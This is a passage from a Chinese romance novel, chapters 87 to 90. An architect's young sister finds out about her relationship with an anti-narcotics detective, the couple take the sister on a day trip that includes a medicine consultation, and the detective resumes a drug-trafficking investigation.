梁然不在卧室,他走进书房。 梁然正坐在电脑前改设计图。 沈宗野失笑:“你是个喝了酒的人,还要继续工作?” “嗯,我现在很清醒。”梁然专注看着电脑,“才多少度,这点酒也就是烘托下聚会的气氛。” “乔思嘉回去也会像你这样改图?” 梁然这才把眼神从电脑屏幕上递到沈宗野身上:“我不知道,你问江凛。” 他们对视着,说完这句话各自都笑了起来。 乔思嘉当然不可能回家还盯着工作,江凛那个醋王怎么可能放任乔思嘉大半夜还去宠幸工作。 梁然停下了握鼠标的手,望着沈宗野:“你和江凛是发小,但是你们性格差别好大哦。” 喝过酒的梁然会有一些从前在宁城对沈宗野虚情假意时才会说的比较偏柔软的语气词。 沈宗野勾起薄唇,走到梁然身前,看了眼她的电脑屏幕。 “工作非得现在做?” “也不是……” 沈宗野手臂穿过梁然细腰,轻轻咬起她耳垂。 梁然呼吸有些急促。 沈宗野说:“然然,你想要么?” 灼烫的气息扰得梁然耳朵受不了,是沈宗野让她知道她的耳垂敏感到碰不得。 她轻轻仰起脖子:“怎么叫我然然了?” “你不喜欢?”滚烫的大掌握住她的腰,微微用力将她抱起。 梁然坐到了沈宗野膝盖上,看她失措,他的眸底有恣肆的笑意,鼻尖触碰到她脖子。 “这个承重力是谁设计的?等等,公式也不对啊!”梁然突然瞥到了电脑上的设计公式,直接转过腰去握鼠标,给乔思嘉打电话。 沈宗野:“……” 怀里一片空荡,沈宗野失笑地挑挑眉,将梁然抱到了椅子上,从她的办公椅退下去。 梁然紧紧盯着电脑,沈宗野忽然觉得她这个样子好可爱。 梁然在问乔思嘉:“你怎么算的,你没审核吗?起来,跟我视频。” 她的语气一点也不凶,甚至非常平静淡定。 反倒是电话里传出乔思嘉超凶的声音:“然然,天杀的!你让不让我过周末了!” 沈宗野好笑地看着梁然。 屏幕的灯光镀在她精致的脸上,她比月光还要耀眼。 江凛的微信像炮仗一样轰扫到沈宗野手机上。 江凛:「你他妈是不是个男人?」 江凛:「管好你的女朋友」 江凛:「这点事都做不好」 江凛:「当初就该给梁然介绍一个比你更强的!」 沈宗野挑起眉,打字:「再说一遍试试」 江凛撤回了一条消息。 梁然一直忙起工作。 沈宗野给她倒了两次热水,洗完澡将餐厅收拾干净,坐在客厅等梁然。 他不知道等了多久,直到听到极轻的脚步声才睁开眼,竟然都已经等睡着了。 梁然站在他身前,身上是洗完澡换的黑色睡裙。 见他睁开眼,她说:“我吵醒你了?” 沈宗野看了眼腕表:“你才工作完?” “嗯。” 都已经凌晨两点了。 沈宗野横抱起梁然回到卧室,侧过身将她紧紧圈在怀里:“然然,先睡觉吧。” 他亲了亲她额头。 梁然抿了抿唇,在他怀里疲惫地睡过去。 昨晚没有完成的事情在这个自然醒来的早晨终于可以继续。 阳光穿透进窗帘微敞的一线缝隙,勾勒着屋子潮涌般的起伏。 沈宗野将梁然抱到膝盖上,掌着手中这段细腰。 他从来不是个重欲的人,做什么都能清醒克制,但是他喜欢梁然的腰,喜欢她张唇喊他时的样子。 “姐!哈哈哈我来了,呜呜葡萄我的好崽崽!” 客厅里突然传来的女声打断了沈宗野和梁然。 沈宗野紧望梁然。 梁然错愕地看着他,素来清冷平静的人第一次这么惊慌失措地下来,白皙的脸颊已经红透了。 “姐,你还没起床啊!”女生甜甜地喊。 “悦悦来了!” 梁然用了极快的速度整理好自己:“我妹妹来了,沈宗野,我先出去你再出来!” 梁悦昨天才打来电话说还要一个星期才能来南城过暑假,但现在看到她,梁然完全不觉得意外。 她妹妹就是这样,总会给她突然的惊喜。 “悦悦。”梁然走到客厅。 梁悦正在和葡萄玩耍,一进门就看到了心心念念的小猫,注意力完全都在小猫身上了。 梁然白皙的脸上已经恢复了以往的平静,头发虽然还有些凌乱,但也符合刚睡醒的状态。她这会儿倒是非常庆幸房子当初装修的选材极好,卧室隔音非常到位。 梁悦调皮地笑起来:“姐,惊喜吗!哈哈哈我昨天故意说还要一个星期才来,就是为了给你一个惊喜。” 梁然抿起笑:“惊喜,每次都这样,你的课都上完了?” “嗯啦。” “司机送你来的?” “嗯,王姐在楼下停车,等会儿再上来。” 梁然点点头,仔细看了梁悦一会儿,见她身上没有哪里因为滑轮比赛摔伤,才走到她身边和她一起蹲下喂葡萄。 梁然身上披着黑色睡袍,弯腰时柔滑的真丝面料褪落,露出白皙皮肤上一团红痕。 梁悦愣了下。 梁然低下头,视线扫过那团红印,重新系上睡袍。 她的神色很平静,迎上梁悦不好意思、又傻了眼的眼神,笑着说:“我谈男朋友了,给你介绍一下。” 第88章 第88章嘴角比AK都难压 沈宗野从卧室里来到客厅。 他已经在衣帽间换好衣服,黑色的短袖衬衫系到最上面一颗纽扣,长裤笔直挺括,整个人修长挺拔。即便面对一个十五岁的小女生收起了身上所有的锐利,气场也依旧带着一点职业使然的压迫感。 梁悦还有点懵,傻傻望着凭空多出来的沈宗野,很陌生,也似乎有点怵他的气场。 梁然做着介绍:“我妹妹,梁悦。” “他叫沈宗野,我交的男朋友。”梁然说,“叫人。” 梁悦还在打量沈宗野。 沈宗野比梁悦先开口同她打招呼:“你好,悦悦。” “哥哥好。” 梁悦很乖地抱着葡萄,礼貌地打招呼。 葡萄却从梁悦手臂上跳到了沈宗野身边,昂起小脑袋叫了几声,走向它的屋子,那阵仗有点像带沈宗野这个铲屎官过去发布任务。 沈宗野看了眼梁然:“我去喂猫。” 他跟着葡萄离开了客厅。 梁悦傻愣着:“姐,什么时候的事情啊,你不是说……” 梁然笑:“本来想告诉你,怕打扰你比赛。” 梁然的确是说过不会先谈恋爱,要等梁悦长大。 但再次见到沈宗野,她觉得他们的关系不该止于宁城,而且沈宗野的职业太危险了,她不会让自己沉沦太久,所以才没有告诉梁悦。 但不可否认,和沈宗野在一起的每天,他都非常周全,她也感到快乐。 梁悦说:“我不是这个意思嘛,我就是好惊讶。” 沈宗野喂完了葡萄出来,他尽量缩小他的存在,走去厨房:“我先给你们做早餐。” 今天周末,梁然原本打算和沈宗野好好过个周末,让季阿姨休息了。 梁然和梁悦聊起天,去收拾梁悦的那间卧室。 沈宗野做好了早餐,等梁然出来时他已经收好了东西说:“我先走了,你好好陪你妹妹。” 梁悦在房间里和猫咪玩。 梁然看了眼餐桌上的早餐:“吃过饭再走吧。” “没事,我出去吃。” “那最近我先陪悦悦。”梁然勾住沈宗野脖子。 “嗯。”沈宗野看了眼过道,趁无人亲了亲梁然额头,他深深看着梁然说,“有事给我打电话。” 梁然抿起笑点头。 沈宗野离开了梁然的家。 他在这里也没什么东西,几件衣服和男士生活用品还在梁然的卧室,他带走的也只是他的证件和手机充电器。 开车回到家,整个房间已经有半个月没回来好好住过,家具上蒙着一层灰。 沈宗野联系了之前一直用的保洁过来清理,自己去了局里。 他在网上给梁然和梁悦买了些水果跟零食,也给葡萄点了小零食送去。 管家将外卖送到家里时,梁然给沈宗野发了照片过来。 梁然:「谢谢,悦悦喜欢吃你买这个味道的薯条。」 沈宗野:「吃完了跟我说」 「你好好陪她吧,有事情联系我」 梁然没再回消息。 沈宗野最近没有案子可忙,就一直等着梁然的回复,手机拿起几次,中间又放下几次,直到一个小时后梁然回复过来消息。 梁然:「刚刚在化妆,我带悦悦出门玩了」 沈宗野抿起薄唇:「玩得愉快」 放下手机,他抬起头时才发现谢天明在盯着他看。 沈宗野敛下笑,淡淡扫了眼谢天明。 谢天明:“可以啊,现在随时都带笑了,嘴角比AK都难压。” 听到动静的同事:“淮宗怎么了,又发现毒贩了?” “天大的好事能让你们知道?”谢天明撇撇嘴将八卦过来的同事撵走,悄悄问沈宗野,“最近和嫂子发展得怎么样?” “托你的福。” “那当然是全靠我!改天还要请我吃大餐!”谢天明问,“你怎么来局里了,来加什么班,赶紧回去陪嫂子啊。” “她妹妹来了,这几天她没有时间。”沈宗野打开电脑,拉出査帕的资料,是董自新泰国的一个助手,四十多岁,是董自新的心腹。 谢天明:“还是放不下这个案子?査帕归泰国,现在南城和宁城的案子结清了,那边归不到咱们身上。” 这个案子结清是以程启天的供词来定量董自新的制贩毒罪行。 董自新在国内的其余七名货主全部被董自新灭口,剩下的一些小贩都是七名货主的马仔,根本不知晓董自新这号人物。 董自新在境外的罪行暂时无法掌控到证据,加上董自新已经在车祸爆。炸中死亡,案子才这样定罪结清。 实际上,董自新在东南亚一带的市场也许仍在一如既往地运转,领头的也许也只换了人,毒品依旧存在。 沈宗野目光幽深,盯着査帕的档案:“梁然说这个人是陈沥周的仇人,査帕杀了陈沥周的妈妈。” 谢天明愣住:“梁然说的,消息可靠吗?” 从梁然嘴里得到的答案自然不会有假,但就怕陈沥周这个答案不见得是真的。 谢天明说:“査帕是董自新在泰国那边得力的助手,按理说他不应该是跟董自新有这么大的深仇大恨。” 査帕虽然不像董自新的手下,更像董自新的朋友、绝对信任的心腹,但这些也只是沈宗野那几次接触中看到的。在毒贩身边呆久了,有时候肉眼看到的不一定都是真的。 谢天明说:“王叔不让咱们再查境外的人,查徐川倒是可以。我还卧底在那几个线上交易群里,这样,我把査帕的资料给境外两个贩子问一下,看看他们能不能找到线索。” “嗯,信得过再问。”沈宗野继续查起系统里陈沥周和董自新的资料,在纸上画着案件关系图。 谢天明也闲着无聊,拉了把椅子坐在沈宗野旁边,一边看沈宗野理出关系线索,一边喝着AD钙奶吃起薯片,偶尔说几句他的想法。 整个图上陈沥周和董自新相似的关键点都在一个信佛的老太太上。 沈宗野将人物空在空白的纸上,标下一个大大的问号。 谢天明也纳闷了许久:“他们俩会是父子吗?真是奇怪,董自新的户籍档案上没有他妈,陈沥周的户籍上也没有他奶。” 沈宗野眼眸深邃,打开公安内部系统,拉出两人户籍所在的派出所。 谢天明跟他很默契,忙拍下照说先从这里查查。 一天的时间在查案中过得很快。 只是晚上回到家,沈宗野面对空荡的房间,还是会有些不习惯。 明明他一个人生活了很多年,明明这套房子一直都只有他自己在住,明明和梁然在一起的时间只是第15天。 他竟然已经会不习惯没有梁然的日子。 沈宗野坐在露台,卷起的晚风里夹着一股盛夏的热潮,心脏像被子弹穿出一个深孔,无法用眼前的烟火人间填满,也无法再能像从前抽一支烟就能找回一点平静。 沈宗野有些自嘲地想,如果月亮重回盛大的夜空,他重新站在只能仰望月亮的绿野上,到那一天,他能和平地接受吗? 沈宗野拿起手机,打开梁然的微信。 她没有给他发过消息,最新的消息还停留在中午。 他翻着他们的聊天记录,翻看梁然的朋友圈。 梁然很少会发她自己的照片,但是在他们在一起后醒来的那天早上,梁然拍了窗外的蓝天,发过一条动态。 “没有风的晴天” 沈宗野反复刷着她朋友圈的一切,哪怕都是跟建筑领域的动态有关,他也会在她的文字上久久停留。 房间里安静得可怕,沈宗野回到卧室,犹豫了下拨出梁然的号码,但又在电话还没接通时就迅速挂断。 他应该遵守梁然制定的规则,不去打破她的规则。 沈宗野走进楼上健身房,在几样健身器材上挥汗如雨。 直到晚上十点,他洗完澡,打开梁然的微信,编辑好了文字,在发送前却犹豫着删除了。 他看着梁然的头像,她的文字,最终还是抵不过心脏里浓烈的渴望,重新编辑出这条信息。 沈宗野:「休息了吗,今天累不累」 梁然回了他一条语音:「还没休息,我在开车,刚到车库。」 沈宗野也回复起语音:「那你到家再说」 梁然回复过来的语音只有1秒的时长,是一声低笑的“嗯”。沈宗野反复点开,在她的低笑里也弯起唇角。 …… 梁然今天带梁悦先是去购物,又玩了很多地方,晚上还去看了电影。司机王姐起得太早从怀城开车送梁悦过来,晚上熬不住,梁然让她先回家休息了。看完电影又吃了顿加餐,她才开车和梁悦回到家。 这么晚,梁悦还非常精神,但梁然就不一样了,这比她上一天班都还耗精力,原来玩耍也会这么累。 梁然洗完澡走出盥洗室。 梁悦穿着睡衣窝在沙发上,膝盖上是懒洋洋的葡萄。梁悦从平板游戏里抬起头和梁然打招呼,结束好游戏后摁灭了屏幕。 “姐,你和这个哥哥在一起多久了?” 这是梁悦在今早见到沈宗野后第一次主动开口提起沈宗野。 梁然将加热好的牛奶递给梁悦,笑着问:“怎么了?” “我想知道嘛。” “半个月吧。” “你们才认识半个月,怎么认识的呀?” “认识很久了,在一起半个月。” “他是做什么工作呢?” 梁然说:“他是警察。” 梁悦一愣,她显然是知道梁然不会再找警察这份职业的男朋友,十五岁的女生心理反应都写在了脸上,愣了半天问梁然:“他是什么警种呀?” “刑警。”梁然低头喝牛奶,语气平静。 她不想告诉梁悦太多,告诉梁悦沈宗野的职业是缉毒警察,梁悦会担心得睡不着觉。 她和沈宗野的关系也许随时都会终止。 也许在他某一天要出像宁城那样的任务时,也许在她觉得这段关系该终止时。 成年人的想法和十五岁的女生自然不同,梁然不想用她的观念去影响了梁悦尚未成熟的情感系统。 梁悦愣了半天后自己帮梁然圆场了:“啊,刑警也不错,刑警破案很厉害的,林甄哥哥现在不是就考上了刑警嘛……咦,姐,那他们不就是同事了吗?” 梁然简直头痛。 撒一个谎,要想更多个谎言来圆。 梁悦在说:“姐,我明天可以再见见他吗?” “你担心我?” 梁悦笑起来:“嗯,我想看看他能不能过我的考验。” 梁然莞尔,虽然她觉得她和沈宗野之间不需要什么考验,但被亲妹妹关心的感觉还是让她感到幸福。 “嗯,那你明天想去哪里玩?” “你问他,看他会带我们去哪里玩。”梁悦有些狡黠地眨眼。 梁然好笑。 回到房间,她拨通了沈宗野的电话。 “你睡了吗?” “还没有。” “你生物钟也这么晚?”梁然问。 “我在等你。”沈宗野嗓音低沉。 梁然弯起唇。 “今天陪你妹妹玩得开心么?” “她很开心,我跟不上她们年轻小姑娘的体力,比上班都累。” 听筒里传出一声沈宗野的低笑,夹带着一点揶揄。 梁然竟听出了暧昧的味道,她觉得她脑子一定是因为今天玩太久了,不够清醒。 “悦悦想见你,你明天能陪我们玩吗?” 沈宗野的呼吸似乎都格外严肃起来:“可以,想去哪里玩?” “你安排吧,我也不知道。” “好。我订好了告诉你。” 沈宗野一时没有说话,听筒里很安静,梁然问:“你在找地方?” “嗯。” 梁然:“也不用特意挑地方,你不用有压力。” 梁然忽然想到床头的抽屉里还有她以前买的小玩具,和沈宗野在一起后她就没有再用过,每次梁悦过来她会把玩具都收起来。 她握着手机,侧身拉开抽屉,但是空空的抽屉柜子让她一时怔住。 “沈宗野,东西你收起来了?” “什么?”沈宗野像是从查找游玩的攻略里回过神,他的嗓音低沉,“嗯,我放进你衣帽间最上面的盒子里了。” 他微顿了片刻:“你想拿?位置有些高,你踩梯子的时候小心点。” 梁然脸颊有些烫,她的眼里倒映着窗外的月色,抿起唇说:“没有啊,我只是想收起来,我已经这么累了。” 听筒里传出沈宗野的低笑。 梁然敛了笑,有点板着脸的意思,但她才发现这是讲电话,沈宗野看不到她强行镇定的表情。 她就用清冷的嗓音喊他的名字:“沈宗野。” 沈宗野的笑声好像越发浓烈,声线撞过喉头,带着慵懒的恣意。 梁然脸颊滚烫。 沈宗野终于如常地说起:“东霖山谷有一个游乐园,可以玩一些极限项目,也有危险系度低的。中午可以玩项目,下午在山谷坐船回市区吃饭。你和悦悦想玩吗?不去这里我再找别的地方。” 沈宗野的攻略已经发了过来。 梁然点开,除了他在网上保存的截图,还有他标注出来的路线和游玩项目,哪个危险,哪个不适合她们,都被排在攻略文档的最后面。明天的天气、温度、紫外线强度都有写明,要带的防晒、身份证也都用红字标注好。 梁然抿起唇:“可以,悦悦会喜欢玩这些项目。” “你喜欢吗?” “我也能玩。” 沈宗野说:“那我明天早上九点来接你们,时间可以么?” “OK。” 沈宗野说:“山上会有一些风,网上的攻略建议发型可以梳编发。” 梁然一笑:“你好细心,谢谢。” “沈宗野,明天见。” “明天见,然然。” 第89章 第89章“他就是你的药。”…… 第二天的天气十分配合沈宗野做的攻略,是个只有微风的晴天。 沈宗野很早就去买好了食物和水,开车接上了梁然与梁悦。 外出游玩,梁然穿着运动装,上身是白色的防晒衣,戴着一顶帽檐大大的防晒帽,露出编成两条麻花的辫子。她整个人青春洋溢,多了一股爽利的轻盈感。 梁悦也被梁然同样地打扮,头发盘成丸子头。 梁悦抱着葡萄上了车,跟沈宗野打招呼喊哥哥。 梁然坐上副驾驶,系着安全带。 沈宗野宁和的目光落在她身上,薄唇抿着淡笑。 梁然抬头时撞见沈宗野的视线,只是一天没见而已,沈宗野的眼神好像格外温柔深邃。 梁然抿起红唇,沈宗野移开了视线,开车驶向目的地。 梁悦在车上问:“哥哥,你以前去过那里玩吗?” “抓捕毒贩的时候去过一次,没有玩过……” “你们还会抓捕毒贩呀?”梁悦对毒贩两个字有本能的憎恶和害怕,但她这句话明显很惊讶。 沈宗野还有些意外梁悦为什么会这么惊讶,梁然已经笑着说起:“他们刑警大队偶尔会和缉毒部门联合办案子。” 沈宗野握在方向盘上的手指微紧,旋即就明白了梁然的意思。 他薄唇微抿,声色如常:“嗯,也有联合办案的时候。” 他余光里,梁然在看他。 沈宗野在红灯亮起时停下车看向梁然,她的眼神有些抱歉的意思。 沈宗野笑了笑,手掌覆在梁然手指上,温柔的动作在说他没关系。 梁悦:“我恨死毒贩了。” “我也是。”沈宗野说。 葡萄在闹,梁悦忙弯腰去捞小胖猫,抬起头看到了沈宗野握在方向盘上的左手,她愣住,傻傻望着那只断掉一大截的拇指。 梁然和沈宗野都从后视镜里看到了梁悦的失神。 沈宗野松开握着梁然的右手,继续开起车。 “哥哥,你的手……” “抓坏人时伤的。” 梁悦抱着葡萄,十五岁的女生不太知道怎么转移话题,但知道不去触碰别人的伤口。她就摸着葡萄不再说话了。 沈宗野笑:“你和你姐姐的声音很像。” 梁然一笑:“嘉嘉也这么说,还有家里的阿姨。” 梁悦说:“是啊,你们都这么说,为什么我和我姐不觉得像呢。” 沈宗野说:“也许是你们习惯了彼此吧。” 梁悦和梁然的长相一点也不像,但声音非常相似,几乎快一模一样,只是梁然的声线偏清冷,也很少有起伏的情绪。梁悦的声音更像是梁然在宁城时的声音,只有梁然伪装着温柔深情时,声线才这样柔和。 路程有些远,开了一个小时才到地方。 下了车,沈宗野带上了梁然想吃的水果和梁悦与葡萄的零食,背上宠物包里的葡萄。 他已经提前订过了票,梁悦想替他分担,说拿他的手机去扫票。 沈宗野说:“先去一个地方吧,可能要半个小时。” 梁然问他去哪里。 沈宗野说:“你最近还会偏头痛吗?” “最近好像没有发作。” 沈宗野说:“我约了一个中医,是个退休的老教授,很有资历,我想带你去看看。” 梁然怔住。 沈宗野解释:“不耽误今天的行程,很快就好,他就在附近。” 才早上十点,阳光就已经很热烈,落在皮肤上,似乎灼烫进了身体里。 梁然望着沈宗野点头。 沈宗野回头询问梁悦的意见。 梁悦完全没意见,笑着说:“走吧!” 沈宗野往岔路口的一条小路走,路旁大树成荫,斑驳的阳光从枝叶里漏下。 路有些不平,沈宗野牵住了梁然的手,他回头去看梁悦:“你走前面。” 梁悦正在他们身后举着手机,闻言就走到了他们前面。 “姐,笑一个!”梁悦举起手机在给他们拍照片。 梁然弯起红唇。 沈宗野迎着阳光,也扬起了笑。 沈宗野联系的这位中医是国家级学会的教授,退休后闲不住,每个月会放号给人看病,但他的号很难约到,有患者凌晨就早早赶来,度过一个长夜等到老教授开门营业也许都领不到号。 梁然问:“今天周末,你提前约好了吗?” “嗯,昨晚约好的。” 那天晚上听乔思嘉说起梁然的偏头痛后,沈宗野就想带梁然看看中医。昨晚梁然说要出来玩,这边正好有个游乐场,沈宗野才定在了这里。虽然号难约,但他昨晚已经让王局帮他联系好了。 号是约到了,他们到了地方也顺利进入了院子,但老教授说话倒是一点不顾及面子。 戴着眼镜的老教授已经七十多岁,却精神矍铄,头发是一头乌青色,声音也中气十足。 他还没有把脉呢,就瞅着沈宗野和梁然说:“谁看病?” 沈宗野:“李教授,您好,我带我女朋友来看病。” “也不像有大病的样子。”老教授的眼睛就是精密的仪器,说完还是让梁然坐下,给把了脉。 “还以为是什么疑难杂症,大半夜找我。” 沈宗野求到王局,王局求到省厅的老师,老教授这才在周末单独接下这个看诊。 沈宗野:“麻烦您了。” 老教授手指搭在梁然脉搏上,低头写着药方。 梁然说:“我有什么问题吗?” 老教授头也不抬:“问题不多,他就是你的药。” 梁然一怔,沈宗野也有些不好意思。 都说中医把脉能诊出各种身体各处的经历,也包括有没有节欲。梁然和沈宗野都有些尴尬,梁悦就在门外等着,能听到这里的话。 老教授也是看到了门口的梁悦,才没有说得那么直接。 “情志内伤,肝失疏泄,心气也不足,还熬夜。肝郁虽然是年轻人常有的毛病,但她这个很多年了,造成淤堵,导致平时痛经,胸肋胀痛,头痛。” 梁然说:“我以为这些都是正常的。” 沈宗野说:“她的偏头痛经常发生,天冷或者吹风会加剧,吃药能改善么?” 老教授说:“可以。但也不能光凭药物,要多出来走一走,接触自然,多吃一些粗粮,最要紧的,学会倾诉情绪。” 梁然说着谢谢。 沈宗野认真听着,看着老教授写下药方。 老教授将笔帽合上,示意沈宗野拿走药方,淡淡叮嘱他:“节制一点。” 沈宗野应下,说着谢谢。 两千的挂号费老教授是一分也没少,沈宗野带来的酒也毫不客气地收下了。 走出老教授的院子,经过路上的坑时,沈宗野自然地牵住梁然,走到平坦的路段松开她的手。 梁悦走在梁然身边,轻轻地问梁然为什么每次偏头痛都不说。 梁然笑了下:“我没什么大毛病,大夫都说没事啊。” 可是大夫的话也很明显,她的难过已经藏积了很多年,已经导致肝郁和淤堵。 梁悦还是有些难过,但梁然在笑,梁悦也不好再说什么,也冲梁然弯起眼睛笑了笑。 沈宗野一路没说什么话,这条路上有很多院子,大部分是农家饭馆和民宿,穿过这条路回到景区大门,时间正好只过去半个小时。 三个人进了山谷,沈宗野买好了代步车的票,直接坐到了缆车脚下,乘坐电缆上了山顶。 梁然和梁悦坐在缆车一排,沈宗野单独坐在对面。 梁悦将手机递给沈宗野:“哥哥,帮我和我姐拍张照!”她抱着葡萄,笑得很灿烂。 沈宗野按下快门,望着镜头里扬起笑的梁然,也露出笑来。 他拍完照片,梁悦又起身叫他坐到梁然身边去,她帮他和梁然拍照。 沈宗野几乎不拍照片,今天算是拍照最多的一次。 他坐在梁然身边,自然地揽过梁然肩膀。 梁悦将这张照片给沈宗野看:“你和我姐好像一家人,我今天终于知道什么叫做颜值即正义了!” 沈宗野望着这张照片,梁然是微微偏头倾向他的姿势,她笑容灿烂,桃花眼倒映着缆车下溪谷水波的温柔。 沈宗野说:“麻烦你回头把照片传给我吧。” “一点也不麻烦!” 大概是因为沈宗野带梁然去看了医生,惦记着她的偏头痛,这个行为完全通过了梁悦这一关,她对沈宗野的印象很好。 游玩的项目里有个高空自行车,梁然和梁悦都想玩,但又害怕玩。 沈宗野和安全员试玩了一辆,看起来架在细细轨道上的自行车摇摇晃晃,底下就是悬空的山谷溪水,很是惊险,但全程都很安全。 梁然和梁悦这才敢坐上去,但还是在单车晃动里吓得尖叫。 梁悦一边尖叫一边大笑,惹得梁然也哭笑不得:“悦悦,你别往我这边偏呀!” “姐,我没你沉,我控制不了啊。”梁悦一边说一边朝栏杆外等候的沈宗野喊,“哥哥,帮我们拍照片!” 时刻不忘拍照的梁悦全程保持住了拍照美少女的人设,张张出片。 沈宗野拍完了照片,拿出他自己的手机拉进镜头,录下梁然惊慌失色的片段。 他很少在梁然身上看到这么鲜活的情绪,阳光下,她鼻尖渗着细密的汗,风吹起耳边的碎发,她在一片惊慌与欢喜中抬起眼寻找他,眼里是求救的娇嗔。 这一眼,沈宗野心脏狂烈地跳动。 直到她们将单车骑回了安全口。 梁然让梁悦先下来,沈宗野扶好梁悦,将手机还到梁悦手上。 他回头接稳梁然,紧紧抱住她。 溪谷的风卷起湿润的凉爽,沈宗野的白色T恤上是淡淡的皂香,梁然埋在沈宗野肩膀上,腿还发软,抱了他很久。 玩了这个项目,梁然和梁悦连悬崖秋千也不怕了。什么极限项目,除了蹦极,别的都不算极限,将能玩的都玩了一圈。 沈宗野基本上负责拎东西和拍照片,照顾好猫包里的葡萄。 夕阳从山顶坠下,橙色的霞光铺在山谷幽绿的水面上,轮船驶过,水面的碎光像打破的水彩盘。 船穿进这片金色的光芒里,将他们送到岸上,愉快的一天结束在这片霞光里。 吃过晚饭,沈宗野将梁然和梁悦送到车库。 梁悦主动拎着葡萄下了车:“我先上去啦,今天谢谢哥哥,你辛苦了!” 她一溜烟没了影,把空间留给梁然和沈宗野。 昏黄的灯光照在车厢里 沈宗野说:“你妹妹很有礼貌。” 梁然抿起笑:“今天累吗?” “我不累,你累坏了吧,明天还要上班。”沈宗野牵住梁然的手,五指扣住了她的手指。 梁然敛下笑,望着沈宗野:“沈宗野,早上抱歉,我没有告诉悦悦你的职业。” “没关系。” 梁然沉默了一会儿:“为什么带我去看中医?” “乔思嘉说你一直有偏头痛的毛病,我想带你去治好。” 梁然说:“我的头痛已经很多年了,以前我爸爸带我看过医生,我已经习惯了。” 沈宗野抿起薄唇:“会好的,以前我妈看过中医,效果比较好,等吃完这次的药我再带你去复诊。” 梁然将头靠在沈宗野肩膀上。 沈宗野坐直了脊背。 梁然把玩着沈宗野手指,轻轻说:“谢谢你。” “不用谢。” 这样的对话好像很客气,客气到不像是情侣。 他们都没再开口,安静地度过了短暂的宁静。 沈宗野想吻梁然。 他垂眸看了她很久,看她的睫毛根根分明,正常眨动,看她的鼻梁精致、丰挺,但她只是握着他的手指,把玩着他的指节。 “梁然。” “嗯。” “我想亲你。” 梁然的睫毛一颤,她抬起脸,唇边有些好笑。 “想亲就亲啊。” 沈宗野喉结滚动,捏住她下巴吻了下去。 最初的吻只是简简单单的吻,直到沈宗野控制不住,他的手掌落在梁然细腰上,副驾驶的座椅几乎承受不住他的重量。 在宁城,在梁然最开始接近他的时候,那个时候她耀眼又漂亮,收起所有尖锐的美丽,伪装得那么温柔娇弱,费尽心机钻进他的车厢里。 那时沈宗野明明完全不待见她,甚至是看不起她的死缠烂打。 感情真是奇怪,他那时以为梁然是真的对他一见钟情,她那时明明也这么漂亮,他眼里却完全欣赏不到这份美丽,没有一点动过心。 为什么心动的过程这么简单? 他就只是在王局的电话里听清她的身份,知道她是为了正义而来,他看向她,看向她眼里那份赴死的绝望。 那一眼即是心动。 沈宗野知道他已经彻底栽在梁然这里了。 这个吻已经超脱了单纯的亲吻,梁然唇齿溢出一声喘息,又娇又颤的声音让沈宗野彻底失了控,掌中也失了控。 “沈宗野,好了吧……”梁然推开了他,她的双唇被亲到发红,麻花发辫都凌乱地炸出头发须须,她有些慌地看了眼电梯的方向。 沈宗野停下来,掌中怅然若失。 梁然的脸颊弥漫起一层薄红。 沈宗野的眼神充满了侵略,微垂的眼眸野心昭昭,他骨节分明的手指整理好她防晒服里的吊带上衣。 梁然看着他,迎着他的视线,她忍不住勾起红唇笑了。 从一开始梁然迷恋的就是沈宗野身上这份克制的欲。她想要的就是看克制者失控。 沈宗野终于松开了她的手:“我送你上去。” 第90章 第90章她很想沈宗野 梁悦来陪梁然后,沈宗野已经有很多天没再去过梁然那里。 期间他在梁然下班后去接梁然吃过饭,梁然带着梁悦一起,饭后梁悦要玩夹娃娃,沈宗野帮梁悦夹了不少的战利品。 梁然手上这个文化公建项目一点也不能马虎,这期间一直忙着工作。 她也会在忙碌的工作里想沈宗野,她想他时会给他拨视频,沈宗野会开车来楼下看她。 周四这天,梁然的中药也喝得差不多了,沈宗野又约好了号,带她去复诊。 老教授这次开完药,直接说下次可以不用再来了。 走出院子是傍晚,这条绿树成荫的路上很宁静,即便陆续会有汽车开进两旁的民宿,周围也不吵闹。 回到市区已经是夜晚了,月亮悬在车顶,沈宗野打开天幕,月光渡在他们身上。 梁然安静望着沈宗野,她桃花眼里的光明媚又盛大,也许是因为喝药调理的缘故,又或者是因为梁悦在这里陪伴她,她整个人都比以往多了明艳的鲜活感。 梁在这片安静里走了神,在想找个时间去沈宗野那里。 而沈宗野喉结滚动,也知道梁然在想什么,甚至想的和她一样。 他握住了她的手。 梁然忽然就忍不住笑了起来。 沈宗野:“你笑什么?” “我觉得悦悦好像我的家长,我们俩好像早恋的小学生。” 沈宗野挑起眉。 他嗓音低沉:“去我那里吗?” “去不了,乙方的总裁脾气古怪,要配合他的时间,晚上得开线上会议。” 沈宗野有几分失望,点点头:“我送你回去?” “再坐一会儿吧。”梁然牵住沈宗野的手,抬头望着窗外的月亮。 她的工作这么忙,沈宗野的假期就在她忙碌的工作里结束了。 回到岗位上,沈宗野开始查起未结清的案子。 谢天明站到他身后,盯着他桌上的档案和电脑上的资料。 “怎么查起这个人了,这不是董自新一个手下么。” 沈宗野的电脑上是一张三十多岁男人的照片,叫赵吉,男人五官普通,脖子上有颗黑色肉痣。这个人沈宗野见过一次,在老万被捕,董自新派人去他公寓对面监视他时,他假装去药店里买避孕药和延时药,让大鱼拍到过这人的照片。 之后沈宗野只和赵吉在董自新那里打过一次照面,他觉得男人还挺高的,比他还要魁梧高猛很多,但这次抓捕中的赵吉个子和沈宗野差不多高,只是身形和沈宗野印象中一样。 沈宗野端起咖啡,杯子里却没了。 正好钱晓晴走进办公室,给他们点了咖啡和奶茶。 谢天明刚要招手准备给沈宗野要一杯,手腕就被沈宗野按住。 沈宗野把杯子递给谢天明,示意他去冲杯咖啡。 谢天明撇撇嘴,只好起身去给沈宗野倒水冲了一杯挂耳。 钱晓晴来到沈宗野工位前:“沈哥,这个给你。” 她拿出沈宗野喜欢的不加糖的美式。 “小谢帮我泡了,不用了。”沈宗野说。 钱晓晴笑了笑,将咖啡丢下就走了。 谢天明把泡好的咖啡给沈宗野,拿起钱晓晴放到桌上的咖啡,扬声喊:“晓琴,谢了,还知道我喜欢喝这种。” 旁边的同事笑:“是给你的么就喝。” “怎么不是,难道是给你的?”谢天明回怼。 沈宗野还盯着赵吉的档案。 谢天明:“他有什么问题?” “我总觉得他跟我以前见到的赵吉不太一样。”沈宗野说。 “哪里不一样?” “身高,还有感觉。” “再去看看?”谢天明问。 沈宗野拿起档案:“走。” 两人开车去了监狱,赵吉被提到一间接见室里,沈宗野和谢天明在单面镜后的房间里看着,沈宗野的眼眸还是十分深邃。 